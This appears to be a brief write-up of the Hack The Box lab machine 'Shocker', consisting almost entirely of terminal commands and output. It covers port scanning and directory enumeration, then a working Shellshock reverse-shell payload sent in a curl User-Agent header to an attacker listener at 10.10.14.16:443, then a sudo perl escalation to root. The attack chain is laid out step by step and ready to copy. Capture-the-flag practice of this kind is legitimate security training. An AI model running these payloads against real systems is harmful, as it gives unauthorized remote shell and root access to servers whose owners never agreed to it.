## SHELLSHOCK

## SUDO PERL TO PRIVESC

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: Site doesn't have a title (text/html).

2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)

| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)

|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

root@kali:/home/kali/Desktop/hackthebox/shocker# gobuster dir -u http://shocker.htb/ -w /usr/share/wordlists/dirb/common.txt -x .php,.sh,.html/.hta (Status: 403)

/.hta.php (Status: 403)

/.hta.sh (Status: 403)

/.hta.html (Status: 403)

/.htaccess (Status: 403)

/.htaccess.php (Status: 403)

/.htaccess.sh (Status: 403)

/.htaccess.html (Status: 403)

/.htpasswd (Status: 403)

/.htpasswd.php (Status: 403)

/.htpasswd.sh (Status: 403)

/.htpasswd.html (Status: 403)

/cgi-bin/ (Status: 403)

/cgi-bin/.html (Status: 403)

/index.html (Status: 200)

/index.html (Status: 200)

/server-status (Status: 403)

root@kali:/home/kali/Desktop/hackthebox/shocker# nikto --h http://shocker.htb

root@kali:/home/kali/Desktop/hackthebox/shocker# curl -vvv http://shocker.htb/cgi-bin/user.sh

*   Trying 10.10.10.56:80...

* TCP_NODELAY set

* Connected to shocker.htb (10.10.10.56) port 80 (#0)

> GET /cgi-bin/user.sh HTTP/1.1

> Host: shocker.htb

> User-Agent: curl/7.68.0

> Accept: */*

>

* Mark bundle as not supporting multiuse

< HTTP/1.1 200 OK

< Date: Sat, 20 Jun 2020 18:18:23 GMT

< Server: Apache/2.4.18 (Ubuntu)

< Transfer-Encoding: chunked

< Content-Type: text/x-sh

<

Content-Type: text/plain

Just an uptime test script

14:18:23 up 19 min,  0 users,  load average: 0.00, 0.00, 0.00

## SHELLSHOCK ATTACK

root@kali:/home/kali# nc -nlvp 443

root@kali:/home/kali/Desktop/hackthebox/shocker# curl http://shocker.htb/cgi-bin/user.sh -H "User-Agent:() { :; }; echo ; /bin/bash -i >& /dev/tcp/10.10.14.16/443 0>&1 "

SHELL GAINED!!!

shelly@Shocker:/usr/lib/cgi-bin$ sudo -l

sudo -l

Matching Defaults entries for shelly on Shocker:

    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:

(root) NOPASSWD: /usr/bin/perl

shelly@Shocker:/usr/lib/cgi-bin$ sudo perl -e 'exec "/bin/sh"'

ROOTED!!!!!!!